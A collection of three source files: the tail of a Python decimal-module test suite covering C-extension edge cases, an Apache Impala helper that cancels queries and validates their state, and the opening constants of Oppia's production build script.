setattr, c, '_allcr', int_max) self.assertRaises(ValueError, setattr, c, '_allcr', -int_max-1) # OverflowError, general TypeError for attr in ('_flags', '_traps'): self.assertRaises(OverflowError, setattr, c, attr, int_max+1) self.assertRaises(OverflowError, setattr, c, attr, -int_max-2) if sys.platform != 'win32': self.assertRaises(TypeError, setattr, c, attr, int_max) self.assertRaises(TypeError, setattr, c, attr, -int_max-1) # _allcr self.assertRaises(ValueError, setattr, c, '_allcr', -1) self.assertRaises(ValueError, setattr, c, '_allcr', 2) self.assertRaises(TypeError, setattr, c, '_allcr', [1,2,3]) if HAVE_CONFIG_64: self.assertRaises(ValueError, setattr, c, '_allcr', 2**32) self.assertRaises(ValueError, setattr, c, '_allcr', 2**32+1) # _flags, _traps for attr in ['_flags', '_traps']: self.assertRaises(TypeError, setattr, c, attr, 999999) self.assertRaises(TypeError, setattr, c, attr, 'x') def test_c_valid_context(self): # These tests are for code coverage in _decimal. DefaultContext = C.DefaultContext Clamped = C.Clamped Underflow = C.Underflow Inexact = C.Inexact Rounded = C.Rounded Subnormal = C.Subnormal c = DefaultContext.copy() # Exercise all getters and setters c.prec = 34 c.rounding = ROUND_HALF_UP c.Emax = 3000 c.Emin = -3000 c.capitals = 1 c.clamp = 0 self.assertEqual(c.prec, 34) self.assertEqual(c.rounding, ROUND_HALF_UP) self.assertEqual(c.Emin, -3000) self.assertEqual(c.Emax, 3000) self.assertEqual(c.capitals, 1) self.assertEqual(c.clamp, 0) self.assertEqual(c.Etiny(), -3033) self.assertEqual(c.Etop(), 2967) # Exercise all unsafe setters if C.MAX_PREC == 425000000: c._unsafe_setprec(999999999) c._unsafe_setemax(999999999) c._unsafe_setemin(-999999999) self.assertEqual(c.prec, 999999999) self.assertEqual(c.Emax, 999999999) self.assertEqual(c.Emin, -999999999) @requires_extra_functionality def test_c_valid_context_extra(self): DefaultContext = C.DefaultContext c = DefaultContext.copy() self.assertEqual(c._allcr, 1) c._allcr = 0 self.assertEqual(c._allcr, 0) def test_c_round(self): # Restricted input. Decimal = C.Decimal InvalidOperation = C.InvalidOperation localcontext = C.localcontext MAX_EMAX = C.MAX_EMAX MIN_ETINY = C.MIN_ETINY int_max = 2**63-1 if C.MAX_PREC > 425000000 else 2**31-1 with localcontext() as c: c.traps[InvalidOperation] = True self.assertRaises(InvalidOperation, Decimal("1.23").__round__, -int_max-1) self.assertRaises(InvalidOperation, Decimal("1.23").__round__, int_max) self.assertRaises(InvalidOperation, Decimal("1").__round__, int(MAX_EMAX+1)) self.assertRaises(C.InvalidOperation, Decimal("1").__round__, -int(MIN_ETINY-1)) self.assertRaises(OverflowError, Decimal("1.23").__round__, -int_max-2) self.assertRaises(OverflowError, Decimal("1.23").__round__, int_max+1) def test_c_format(self): # Restricted input Decimal = C.Decimal HAVE_CONFIG_64 = (C.MAX_PREC > 425000000) self.assertRaises(TypeError, Decimal(1).__format__, "=10.10", [], 9) self.assertRaises(TypeError, Decimal(1).__format__, "=10.10", 9) self.assertRaises(TypeError, Decimal(1).__format__, []) self.assertRaises(ValueError, Decimal(1).__format__, "<>=10.10") maxsize = 2**63-1 if HAVE_CONFIG_64 else 2**31-1 self.assertRaises(ValueError, Decimal("1.23456789").__format__, "=%d.1" % maxsize) def test_c_integral(self): Decimal = C.Decimal Inexact = C.Inexact localcontext = C.localcontext x = Decimal(10) self.assertEqual(x.to_integral(), 10) self.assertRaises(TypeError, x.to_integral, '10') self.assertRaises(TypeError, x.to_integral, 10, 'x') self.assertRaises(TypeError, x.to_integral, 10) self.assertEqual(x.to_integral_value(), 10) self.assertRaises(TypeError, x.to_integral_value, '10') self.assertRaises(TypeError, x.to_integral_value, 10, 'x') self.assertRaises(TypeError, x.to_integral_value, 10) self.assertEqual(x.to_integral_exact(), 10) self.assertRaises(TypeError, x.to_integral_exact, '10') self.assertRaises(TypeError, x.to_integral_exact, 10, 'x') self.assertRaises(TypeError, x.to_integral_exact, 10) with localcontext() as c: x = Decimal("99999999999999999999999999.9").to_integral_value(ROUND_UP) self.assertEqual(x, Decimal('100000000000000000000000000')) x = Decimal("99999999999999999999999999.9").to_integral_exact(ROUND_UP) self.assertEqual(x, Decimal('100000000000000000000000000')) c.traps[Inexact] = True self.assertRaises(Inexact, Decimal("999.9").to_integral_exact, ROUND_UP) def test_c_funcs(self): # Invalid arguments Decimal = C.Decimal InvalidOperation = C.InvalidOperation DivisionByZero = C.DivisionByZero getcontext = C.getcontext localcontext = C.localcontext self.assertEqual(Decimal('9.99e10').to_eng_string(), '99.9E+9') self.assertRaises(TypeError, pow, Decimal(1), 2, "3") self.assertRaises(TypeError, Decimal(9).number_class, "x", "y") self.assertRaises(TypeError, Decimal(9).same_quantum, 3, "x", "y") self.assertRaises( TypeError, Decimal("1.23456789").quantize, Decimal('1e-100000'), [] ) self.assertRaises( TypeError, Decimal("1.23456789").quantize, Decimal('1e-100000'), getcontext() ) self.assertRaises( TypeError, Decimal("1.23456789").quantize, Decimal('1e-100000'), 10 ) self.assertRaises( TypeError, Decimal("1.23456789").quantize, Decimal('1e-100000'), ROUND_UP, 1000 ) with localcontext() as c: c.clear_traps() # Invalid arguments self.assertRaises(TypeError, c.copy_sign, Decimal(1), "x", "y") self.assertRaises(TypeError, c.canonical, 200) self.assertRaises(TypeError, c.is_canonical, 200) self.assertRaises(TypeError, c.divmod, 9, 8, "x", "y") self.assertRaises(TypeError, c.same_quantum, 9, 3, "x", "y") self.assertEqual(str(c.canonical(Decimal(200))), '200') self.assertEqual(c.radix(), 10) c.traps[DivisionByZero] = True self.assertRaises(DivisionByZero, Decimal(9).__divmod__, 0) self.assertRaises(DivisionByZero, c.divmod, 9, 0) self.assertTrue(c.flags[InvalidOperation]) c.clear_flags() c.traps[InvalidOperation] = True self.assertRaises(InvalidOperation, Decimal(9).__divmod__, 0) self.assertRaises(InvalidOperation, c.divmod, 9, 0) self.assertTrue(c.flags[DivisionByZero]) c.traps[InvalidOperation] = True c.prec = 2 self.assertRaises(InvalidOperation, pow, Decimal(1000), 1, 501) def test_va_args_exceptions(self): Decimal = C.Decimal Context = C.Context x = Decimal("10001111111") for attr in ['exp', 'is_normal', 'is_subnormal', 'ln', 'log10', 'logb', 'logical_invert', 'next_minus', 'next_plus', 'normalize', 'number_class', 'sqrt', 'to_eng_string']: func = getattr(x, attr) self.assertRaises(TypeError, func, context="x") self.assertRaises(TypeError, func, "x", context=None) for attr in ['compare', 'compare_signal', 'logical_and', 'logical_or', 'max', 'max_mag', 'min', 'min_mag', 'remainder_near', 'rotate', 'scaleb', 'shift']: func = getattr(x, attr) self.assertRaises(TypeError, func, context="x") self.assertRaises(TypeError, func, "x", context=None) self.assertRaises(TypeError, x.to_integral, rounding=None, context=[]) self.assertRaises(TypeError, x.to_integral, rounding={}, context=[]) self.assertRaises(TypeError, x.to_integral, [], []) self.assertRaises(TypeError, x.to_integral_value, rounding=None, context=[]) self.assertRaises(TypeError, x.to_integral_value, rounding={}, context=[]) self.assertRaises(TypeError, x.to_integral_value, [], []) self.assertRaises(TypeError, x.to_integral_exact, rounding=None, context=[]) self.assertRaises(TypeError, x.to_integral_exact, rounding={}, context=[]) self.assertRaises(TypeError, x.to_integral_exact, [], []) self.assertRaises(TypeError, x.fma, 1, 2, context="x") self.assertRaises(TypeError, x.fma, 1, 2, "x", context=None) self.assertRaises(TypeError, x.quantize, 1, [], context=None) self.assertRaises(TypeError, x.quantize, 1, [], rounding=None) self.assertRaises(TypeError, x.quantize, 1, [], []) c = Context() self.assertRaises(TypeError, c.power, 1, 2, mod="x") self.assertRaises(TypeError, c.power, 1, "x", mod=None) self.assertRaises(TypeError, c.power, "x", 2, mod=None) @requires_extra_functionality def test_c_context_templates(self): self.assertEqual( C.BasicContext._traps, C.DecIEEEInvalidOperation|C.DecDivisionByZero|C.DecOverflow| C.DecUnderflow|C.DecClamped ) self.assertEqual( C.DefaultContext._traps, C.DecIEEEInvalidOperation|C.DecDivisionByZero|C.DecOverflow ) @requires_extra_functionality def test_c_signal_dict(self): # SignalDict coverage Context = C.Context DefaultContext = C.DefaultContext InvalidOperation = C.InvalidOperation FloatOperation = C.FloatOperation DivisionByZero = C.DivisionByZero Overflow = C.Overflow Subnormal = C.Subnormal Underflow = C.Underflow Rounded = C.Rounded Inexact = C.Inexact Clamped = C.Clamped DecClamped = C.DecClamped DecInvalidOperation = C.DecInvalidOperation DecIEEEInvalidOperation = C.DecIEEEInvalidOperation def assertIsExclusivelySet(signal, signal_dict): for sig in signal_dict: if sig == signal: self.assertTrue(signal_dict[sig]) else: self.assertFalse(signal_dict[sig]) c = DefaultContext.copy() # Signal dict methods self.assertTrue(Overflow in c.traps) c.clear_traps() for k in c.traps.keys(): c.traps[k] = True for v in c.traps.values(): self.assertTrue(v) c.clear_traps() for k, v in c.traps.items(): self.assertFalse(v) self.assertFalse(c.flags.get(Overflow)) self.assertIs(c.flags.get("x"), None) self.assertEqual(c.flags.get("x", "y"), "y") self.assertRaises(TypeError, c.flags.get, "x", "y", "z") self.assertEqual(len(c.flags), len(c.traps)) s = sys.getsizeof(c.flags) s = sys.getsizeof(c.traps) s = c.flags.__repr__() # Set flags/traps. c.clear_flags() c._flags = DecClamped self.assertTrue(c.flags[Clamped]) c.clear_traps() c._traps = DecInvalidOperation self.assertTrue(c.traps[InvalidOperation]) # Set flags/traps from dictionary. c.clear_flags() d = c.flags.copy() d[DivisionByZero] = True c.flags = d assertIsExclusivelySet(DivisionByZero, c.flags) c.clear_traps() d = c.traps.copy() d[Underflow] = True c.traps = d assertIsExclusivelySet(Underflow, c.traps) # Random constructors IntSignals = { Clamped: C.DecClamped, Rounded: C.DecRounded, Inexact: C.DecInexact, Subnormal: C.DecSubnormal, Underflow: C.DecUnderflow, Overflow: C.DecOverflow, DivisionByZero: C.DecDivisionByZero, FloatOperation: C.DecFloatOperation, InvalidOperation: C.DecIEEEInvalidOperation } IntCond = [ C.DecDivisionImpossible, C.DecDivisionUndefined, C.DecFpuError, C.DecInvalidContext, C.DecInvalidOperation, C.DecMallocError, C.DecConversionSyntax, ] lim = len(OrderedSignals[C]) for r in range(lim): for t in range(lim): for round in RoundingModes: flags = random.sample(OrderedSignals[C], r) traps = random.sample(OrderedSignals[C], t) prec = random.randrange(1, 10000) emin = random.randrange(-10000, 0) emax = random.randrange(0, 10000) clamp = random.randrange(0, 2) caps = random.randrange(0, 2) cr = random.randrange(0, 2) c = Context(prec=prec, rounding=round, Emin=emin, Emax=emax, capitals=caps, clamp=clamp, flags=list(flags), traps=list(traps)) self.assertEqual(c.prec, prec) self.assertEqual(c.rounding, round) self.assertEqual(c.Emin, emin) self.assertEqual(c.Emax, emax) self.assertEqual(c.capitals, caps) self.assertEqual(c.clamp, clamp) f = 0 for x in flags: f |= IntSignals[x] self.assertEqual(c._flags, f) f = 0 for x in traps: f |= IntSignals[x] self.assertEqual(c._traps, f) for cond in IntCond: c._flags = cond self.assertTrue(c._flags&DecIEEEInvalidOperation) assertIsExclusivelySet(InvalidOperation, c.flags) for cond in IntCond: c._traps = cond self.assertTrue(c._traps&DecIEEEInvalidOperation) assertIsExclusivelySet(InvalidOperation, c.traps) def test_invalid_override(self): Decimal = C.Decimal try: from locale import CHAR_MAX except ImportError: self.skipTest('locale.CHAR_MAX not available') def make_grouping(lst): return ''.join([chr(x) for x in lst]) def get_fmt(x, override=None, fmt='n'): return Decimal(x).__format__(fmt, override) invalid_grouping = { 'decimal_point' : ',', 'grouping' : make_grouping([255, 255, 0]), 'thousands_sep' : ',' } invalid_dot = { 'decimal_point' : 'xxxxx', 'grouping' : make_grouping([3, 3, 0]), 'thousands_sep' : ',' } invalid_sep = { 'decimal_point' : '.', 'grouping' : make_grouping([3, 3, 0]), 'thousands_sep' : 'yyyyy' } if CHAR_MAX == 127: # negative grouping in override self.assertRaises(ValueError, get_fmt, 12345, invalid_grouping, 'g') self.assertRaises(ValueError, get_fmt, 12345, invalid_dot, 'g') self.assertRaises(ValueError, get_fmt, 12345, invalid_sep, 'g') def test_exact_conversion(self): Decimal = C.Decimal localcontext = C.localcontext InvalidOperation = C.InvalidOperation with localcontext() as c: c.traps[InvalidOperation] = True # Clamped x = "0e%d" % sys.maxsize self.assertRaises(InvalidOperation, Decimal, x) x = "0e%d" % (-sys.maxsize-1) self.assertRaises(InvalidOperation, Decimal, x) # Overflow x = "1e%d" % sys.maxsize self.assertRaises(InvalidOperation, Decimal, x) # Underflow x = "1e%d" % (-sys.maxsize-1) self.assertRaises(InvalidOperation, Decimal, x) def test_from_tuple(self): Decimal = C.Decimal localcontext = C.localcontext InvalidOperation = C.InvalidOperation Overflow = C.Overflow Underflow = C.Underflow with localcontext() as c: c.traps[InvalidOperation] = True c.traps[Overflow] = True c.traps[Underflow] = True # SSIZE_MAX x = (1, (), sys.maxsize) self.assertEqual(str(c.create_decimal(x)), '-0E+999999') self.assertRaises(InvalidOperation, Decimal, x) x = (1, (0, 1, 2), sys.maxsize) self.assertRaises(Overflow, c.create_decimal, x) self.assertRaises(InvalidOperation, Decimal, x) # SSIZE_MIN x = (1, (), -sys.maxsize-1) self.assertEqual(str(c.create_decimal(x)), '-0E-1000007') self.assertRaises(InvalidOperation, Decimal, x) x = (1, (0, 1, 2), -sys.maxsize-1) self.assertRaises(Underflow, c.create_decimal, x) self.assertRaises(InvalidOperation, Decimal, x) # OverflowError x = (1, (), sys.maxsize+1) self.assertRaises(OverflowError, c.create_decimal, x) self.assertRaises(OverflowError, Decimal, x) x = (1, (), -sys.maxsize-2) self.assertRaises(OverflowError, c.create_decimal, x) self.assertRaises(OverflowError, Decimal, x) # Specials x = (1, (), "N") self.assertEqual(str(Decimal(x)), '-sNaN') x = (1, (0,), "N") self.assertEqual(str(Decimal(x)), '-sNaN') x = (1, (0, 1), "N") self.assertEqual(str(Decimal(x)), '-sNaN1') def test_sizeof(self): Decimal = C.Decimal HAVE_CONFIG_64 = (C.MAX_PREC > 425000000) self.assertGreater(Decimal(0).__sizeof__(), 0) if HAVE_CONFIG_64: x = Decimal(10**(19*24)).__sizeof__() y = Decimal(10**(19*25)).__sizeof__() self.assertEqual(y, x+8) else: x = Decimal(10**(9*24)).__sizeof__() y = Decimal(10**(9*25)).__sizeof__() self.assertEqual(y, x+4) def test_internal_use_of_overridden_methods(self): Decimal = C.Decimal # Unsound subtyping class X(float): def as_integer_ratio(self): return 1 def __abs__(self): return self class Y(float): def __abs__(self): return [1]*200 class I(int): def bit_length(self): return [1]*200 class Z(float): def as_integer_ratio(self): return (I(1), I(1)) def __abs__(self): return self for cls in X, Y, Z: self.assertEqual(Decimal.from_float(cls(101.1)), Decimal.from_float(101.1)) # Issue 41540: @unittest.skipIf(sys.platform.startswith("aix"), "AIX: default ulimit: test is flaky because of extreme over-allocation") @unittest.skipIf(check_sanitizer(address=True, memory=True), "ASAN/MSAN sanitizer defaults to crashing " "instead of returning NULL for malloc failure.") def test_maxcontext_exact_arith(self): # Make sure that exact operations do not raise MemoryError due # to huge intermediate values when the context precision is very # large. # The following functions fill the available precision and are # therefore not suitable for large precisions (by design of the # specification). MaxContextSkip = ['logical_invert', 'next_minus', 'next_plus', 'logical_and', 'logical_or', 'logical_xor', 'next_toward', 'rotate', 'shift'] Decimal = C.Decimal Context = C.Context localcontext = C.localcontext # Here only some functions that are likely candidates for triggering a # MemoryError are tested. deccheck.py has an exhaustive test. maxcontext = Context(prec=C.MAX_PREC, Emin=C.MIN_EMIN, Emax=C.MAX_EMAX) with localcontext(maxcontext): self.assertEqual(Decimal(0).exp(), 1) self.assertEqual(Decimal(1).ln(), 0) self.assertEqual(Decimal(1).log10(), 0) self.assertEqual(Decimal(10**2).log10(), 2) self.assertEqual(Decimal(10**223).log10(), 223) self.assertEqual(Decimal(10**19).logb(), 19) self.assertEqual(Decimal(4).sqrt(), 2) self.assertEqual(Decimal("40E9").sqrt(), Decimal('2.0E+5')) self.assertEqual(divmod(Decimal(10), 3), (3, 1)) self.assertEqual(Decimal(10) // 3, 3) self.assertEqual(Decimal(4) / 2, 2) self.assertEqual(Decimal(400) ** -1, Decimal('0.0025')) @requires_docstrings @unittest.skipUnless(C, "test requires C version") class SignatureTest(unittest.TestCase): """Function signatures""" def test_inspect_module(self): for attr in dir(P): if attr.startswith('_'): continue p_func = getattr(P, attr) c_func = getattr(C, attr) if (attr == 'Decimal' or attr == 'Context' or inspect.isfunction(p_func)): p_sig = inspect.signature(p_func) c_sig = inspect.signature(c_func) # parameter names: c_names = list(c_sig.parameters.keys()) p_names = [x for x in p_sig.parameters.keys() if not x.startswith('_')] self.assertEqual(c_names, p_names, msg="parameter name mismatch in %s" % p_func) c_kind = [x.kind for x in c_sig.parameters.values()] p_kind = [x[1].kind for x in p_sig.parameters.items() if not x[0].startswith('_')] # parameters: if attr != 'setcontext': self.assertEqual(c_kind, p_kind, msg="parameter kind mismatch in %s" % p_func) def test_inspect_types(self): POS = inspect._ParameterKind.POSITIONAL_ONLY POS_KWD = inspect._ParameterKind.POSITIONAL_OR_KEYWORD # Type heuristic (type annotations would help!): pdict = {C: {'other': C.Decimal(1), 'third': C.Decimal(1), 'x': C.Decimal(1), 'y': C.Decimal(1), 'z': C.Decimal(1), 'a': C.Decimal(1), 'b': C.Decimal(1), 'c': C.Decimal(1), 'exp': C.Decimal(1), 'modulo': C.Decimal(1), 'num': "1", 'f': 1.0, 'rounding': C.ROUND_HALF_UP, 'context': C.getcontext()}, P: {'other': P.Decimal(1), 'third': P.Decimal(1), 'a': P.Decimal(1), 'b': P.Decimal(1), 'c': P.Decimal(1), 'exp': P.Decimal(1), 'modulo': P.Decimal(1), 'num': "1", 'f': 1.0, 'rounding': P.ROUND_HALF_UP, 'context': P.getcontext()}} def mkargs(module, sig): args = [] kwargs = {} for name, param in sig.parameters.items(): if name == 'self': continue if param.kind == POS: args.append(pdict[module][name]) elif param.kind == POS_KWD: kwargs[name] = pdict[module][name] else: raise TestFailed("unexpected parameter kind") return args, kwargs def tr(s): """The C Context docstrings use 'x' in order to prevent confusion with the article 'a' in the descriptions.""" if s == 'x': return 'a' if s == 'y': return 'b' if s == 'z': return 'c' return s def doit(ty): p_type = getattr(P, ty) c_type = getattr(C, ty) for attr in dir(p_type): if attr.startswith('_'): continue p_func = getattr(p_type, attr) c_func = getattr(c_type, attr) if inspect.isfunction(p_func): p_sig = inspect.signature(p_func) c_sig = inspect.signature(c_func) # parameter names: p_names = list(p_sig.parameters.keys()) c_names = [tr(x) for x in c_sig.parameters.keys()] self.assertEqual(c_names, p_names, msg="parameter name mismatch in %s" % p_func) p_kind = [x.kind for x in p_sig.parameters.values()] c_kind = [x.kind for x in c_sig.parameters.values()] # 'self' parameter: self.assertIs(p_kind[0], POS_KWD) self.assertIs(c_kind[0], POS) # remaining parameters: if ty == 'Decimal': self.assertEqual(c_kind[1:], p_kind[1:], msg="parameter kind mismatch in %s" % p_func) else: # Context methods are positional only in the C version. self.assertEqual(len(c_kind), len(p_kind), msg="parameter kind mismatch in %s" % p_func) # Run the function: args, kwds = mkargs(C, c_sig) try: getattr(c_type(9), attr)(*args, **kwds) except Exception: raise TestFailed("invalid signature for %s: %s %s" % (c_func, args, kwds)) args, kwds = mkargs(P, p_sig) try: getattr(p_type(9), attr)(*args, **kwds) except Exception: raise TestFailed("invalid signature for %s: %s %s" % (p_func, args, kwds)) doit('Decimal') doit('Context') all_tests = [ CExplicitConstructionTest, PyExplicitConstructionTest, CImplicitConstructionTest, PyImplicitConstructionTest, CFormatTest, PyFormatTest, CArithmeticOperatorsTest, PyArithmeticOperatorsTest, CThreadingTest, PyThreadingTest, CUsabilityTest, PyUsabilityTest, CPythonAPItests, PyPythonAPItests, CContextAPItests, PyContextAPItests, CContextWithStatement, PyContextWithStatement, CContextFlags, PyContextFlags, CSpecialContexts, PySpecialContexts, CContextInputValidation, PyContextInputValidation, CContextSubclassing, PyContextSubclassing, CCoverage, PyCoverage, CFunctionality, PyFunctionality, CWhitebox, PyWhitebox, CIBMTestCases, PyIBMTestCases, ] # Delete C tests if _decimal.so is not present. if not C: all_tests = all_tests[1::2] else: all_tests.insert(0, CheckAttributes) all_tests.insert(1, SignatureTest) def test_main(arith=None, verbose=None, todo_tests=None, debug=None): """ Execute the tests. Runs all arithmetic tests if arith is True or if the "decimal" resource is enabled in regrtest.py """ init(C) init(P) global TEST_ALL, DEBUG TEST_ALL = arith if arith is not None else is_resource_enabled('decimal') DEBUG = debug if todo_tests is None: test_classes = all_tests else: test_classes = [CIBMTestCases, PyIBMTestCases] # Dynamically build custom test definition for each file in the test # directory and add the definitions to the DecimalTest class. This # procedure insures that new files do not get skipped. for filename in os.listdir(directory): if '.decTest' not in filename or filename.startswith("."): continue head, tail = filename.split('.') if todo_tests is not None and head not in todo_tests: continue tester = lambda self, f=filename: self.eval_file(directory + f) setattr(CIBMTestCases, 'test_' + head, tester) setattr(PyIBMTestCases, 'test_' + head, tester) del filename, head, tail, tester try: run_unittest(*test_classes) if todo_tests is None: from doctest import IGNORE_EXCEPTION_DETAIL savedecimal = sys.modules['decimal'] if C: sys.modules['decimal'] = C run_doctest(C, verbose, optionflags=IGNORE_EXCEPTION_DETAIL) sys.modules['decimal'] = P run_doctest(P, verbose) sys.modules['decimal'] = savedecimal finally: if C: C.setcontext(ORIGINAL_CONTEXT[C]) P.setcontext(ORIGINAL_CONTEXT[P]) if not C: warnings.warn('C tests skipped: no module named _decimal.', UserWarning) if not orig_sys_decimal is sys.modules['decimal']: raise TestFailed("Internal error: unbalanced number of changes to " "sys.modules['decimal'].") if __name__ == '__main__': import optparse p = optparse.OptionParser("test_decimal.py [--debug] [{--skip | test1 [test2 [...]]}]") p.add_option('--debug', '-d', action='store_true', help='shows the test number and context before each test') p.add_option('--skip', '-s', action='store_true', help='skip over 90% of the arithmetic tests') (opt, args) = p.parse_args() if opt.skip: test_main(arith=False, verbose=True) elif args: test_main(arith=True, verbose=True, todo_tests=args, debug=opt.debug) else: test_main(arith=True, verbose=True)
cancel_util.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import threading from time import sleep from tests.beeswax.impala_beeswax import ImpalaBeeswaxException from tests.common.impala_test_suite import ImpalaTestSuite def cancel_query_and_validate_state(client, query, exec_option, table_format, cancel_delay, join_before_close=False): """Runs the given query asynchronously and then cancels it after the specified delay. The query is run with the given 'exec_options' against the specified 'table_format'. A separate async thread is launched to fetch the results of the query. The method validates that the query was successfully cancelled and that the error messages for the calls to ImpalaConnection#fetch and #close are consistent. If 'join_before_close' is True the method will join against the fetch results thread before closing the query. """ if exec_option: client.set_configuration(exec_option) if table_format: ImpalaTestSuite.change_database(client, table_format) handle = client.execute_async(query) thread = threading.Thread(target=__fetch_results, args=(query, handle)) thread.start() sleep(cancel_delay) if client.get_state(handle) == client.QUERY_STATES['EXCEPTION']: # If some error occurred before trying to cancel the query then we put an error # message together and fail the test. thread.join() error_msg = "The following query returned an error: %s\n" % query if thread.fetch_results_error is not None: error_msg += str(thread.fetch_results_error) + "\n" profile_lines = client.get_runtime_profile(handle).splitlines() for line in profile_lines: if "Query Status:" in line: error_msg += line assert False, error_msg cancel_result = client.cancel(handle) assert cancel_result.status_code == 0,\ 'Unexpected status code from cancel request: %s' % cancel_result if join_before_close: thread.join() close_error = None try: client.close_query(handle) except ImpalaBeeswaxException as e: close_error = e # Before accessing fetch_results_error we need to join the fetch thread thread.join() # IMPALA-9756: Make sure query summary info has been added to profile for queries # that proceeded far enough into execution that it should have been added to profile. # The logic in ClientRequestState/Coordinator is convoluted, but the summary info # should be added if the query has got to the point where rows can be fetched. We # need to do this after both close_query() and fetch() have returned to ensure # that the synchronous phase of query unregistration has finished and the profile # is final. profile = client.get_runtime_profile(handle) if ("- Completed admission: " in profile and ("- First row fetched:" in profile or "- Request finished:" in profile)): # TotalBytesRead is a sentinel that will only be created if ComputeQuerySummary() # has been run by the cancelling thread. assert "- TotalBytesRead:" in profile, profile if thread.fetch_results_error is None: # If the fetch rpc didn't result in CANCELLED (and auto-close the query) then # the close rpc should have succeeded. assert close_error is None elif close_error is None: # If the close rpc succeeded, then the fetch rpc should have either succeeded, # failed with 'Cancelled' or failed with 'Invalid or unknown query handle' # (if the close rpc occured before the fetch rpc). if thread.fetch_results_error is not None: assert 'Cancelled' in str(thread.fetch_results_error) or \ ('Invalid or unknown query handle' in str(thread.fetch_results_error) and not join_before_close), str(thread.fetch_results_error) else: # If the close rpc encountered an exception, then it must be due to fetch # noticing the cancellation and doing the auto-close. assert 'Invalid or unknown query handle' in str(close_error) assert 'Cancelled' in str(thread.fetch_results_error) # TODO: Add some additional verification to check to make sure the query was # actually canceled def __fetch_results(query, handle): threading.current_thread().fetch_results_error = None threading.current_thread().query_profile = None try: new_client = ImpalaTestSuite.create_impala_client() new_client.fetch(query, handle) except ImpalaBeeswaxException as e: threading.current_thread().fetch_results_error = e
build.py
# Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Build file for production version of Oppia. Minifies JS and CSS.""" from __future__ import annotations import argparse import collections import fnmatch import hashlib import json import os import re import shutil import subprocess import threading from core import utils from scripts import common from scripts import servers from typing import Deque, Dict, List, Optional, Sequence, TextIO, Tuple from typing_extensions import TypedDict ASSETS_DEV_DIR = os.path.join('assets', '') ASSETS_OUT_DIR = os.path.join('build', 'assets', '') THIRD_PARTY_STATIC_DIR = os.path.join('third_party', 'static') THIRD_PARTY_GENERATED_DEV_DIR = os.path.join('third_party', 'generated', '') THIRD_PARTY_GENERATED_OUT_DIR = os.path.join( 'build', 'third_party', 'generated', '') THIRD_PARTY_JS_RELATIVE_FILEPATH = os.path.join('js', 'third_party.js') MINIFIED_THIRD_PARTY_JS_RELATIVE_FILEPATH = os.path.join( 'js', 'third_party.min.js') THIRD_PARTY_CSS_RELATIVE_FILEPATH = os.path.join('css', 'third_party.css') MINIFIED_THIRD_PARTY_CSS_RELATIVE_FILEPATH = os.path.join( 'css', 'third_party.min.css') WEBFONTS_RELATIVE_DIRECTORY_PATH = os.path.join('webfonts', '') EXTENSIONS_DIRNAMES_TO_DIRPATHS = { 'dev_dir': os.path.join('extensions', ''), 'staging_dir': os.path.join('backend_prod_files', 'extensions', ''), 'out_dir': os.path.join('build', 'extensions', '') } TEMPLATES_DEV_DIR = os.path.join('templates', '') TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS = { 'dev_dir': os.path.join('core', 'templates', ''), 'staging_dir': os.path.join('backend_prod_files', 'templates', ''), 'out_dir': os.path.join('build', 'templates', '') } WEBPACK_DIRNAMES_TO_DIRPATHS = { 'staging_dir': os.path.join('backend_prod_files', 'webpack_bundles', ''), 'out_dir': os.path.join('build', 'webpack_bundles', '') } # This json file contains a json object. The object's keys are file paths and # the values are corresponded hash value. The paths need to be in posix style, # as it is interpreted by the `url-interpolation` service, which which # interprets the paths in this file as URLs. HASHES_JSON_FILENAME = 'hashes.json' HASHES_JSON_FILEPATH = os.path.join('assets', HASHES_JSON_FILENAME) DEPENDENCIES_FILE_PATH = os.path.join('dependencies.json') REMOVE_WS = re.compile(r'\s{2,}').sub YUICOMPRESSOR_DIR = os.path.join( os.pardir, 'oppia_tools', 'yuicompressor-2.4.8', 'yuicompressor-2.4.8.jar') PARENT_DIR = os.path.abspath(os.path.join(os.getcwd(), os.pardir)) UGLIFY_FILE = os.path.join('node_modules', 'uglify-js', 'bin', 'uglifyjs') WEBPACK_FILE = os.path.join('node_modules', 'webpack', 'bin', 'webpack.js') WEBPACK_DEV_CONFIG = 'webpack.dev.config.ts' WEBPACK_DEV_SOURCE_MAPS_CONFIG = 'webpack.dev.sourcemap.config.ts' WEBPACK_PROD_CONFIG = 'webpack.prod.config.ts' WEBPACK_PROD_SOURCE_MAPS_CONFIG = 'webpack.prod.sourcemap.config.ts' # Files with these extensions shouldn't be moved to build directory. FILE_EXTENSIONS_TO_IGNORE = ('.py', '.pyc', '.stylelintrc', '.ts', '.gitkeep') # Files with these name patterns shouldn't be moved to build directory, and will # not be served in production. (This includes protractor.js files in # /extensions.) JS_FILENAME_SUFFIXES_TO_IGNORE = ('Spec.js', 'protractor.js') JS_FILENAME_SUFFIXES_NOT_TO_MINIFY = ('.bundle.js',) GENERAL_FILENAMES_TO_IGNORE = ('.pyc', '.stylelintrc', '.DS_Store') JS_FILEPATHS_NOT_TO_BUILD = ( os.path.join( 'core', 'templates', 'expressions', 'parser.js'), os.path.join('extensions', 'ckeditor_plugins', 'pre', 'plugin.js') ) # These filepaths shouldn't be renamed (i.e. the filepath shouldn't contain # hash). # This is because these files don't need cache invalidation, are referenced # from third party files or should not be moved to the build directory. # Statically served pages from app.yaml should be here to since they don't # need cache invalidation. FILEPATHS_NOT_TO_RENAME = ( '*.py', 'third_party/generated/js/third_party.min.js.map', 'third_party/generated/webfonts/*', '*.bundle.js', '*.bundle.js.map', 'webpack_bundles/*', ) # These are the env vars that need to be removed from app.yaml when we are # deploying to production. 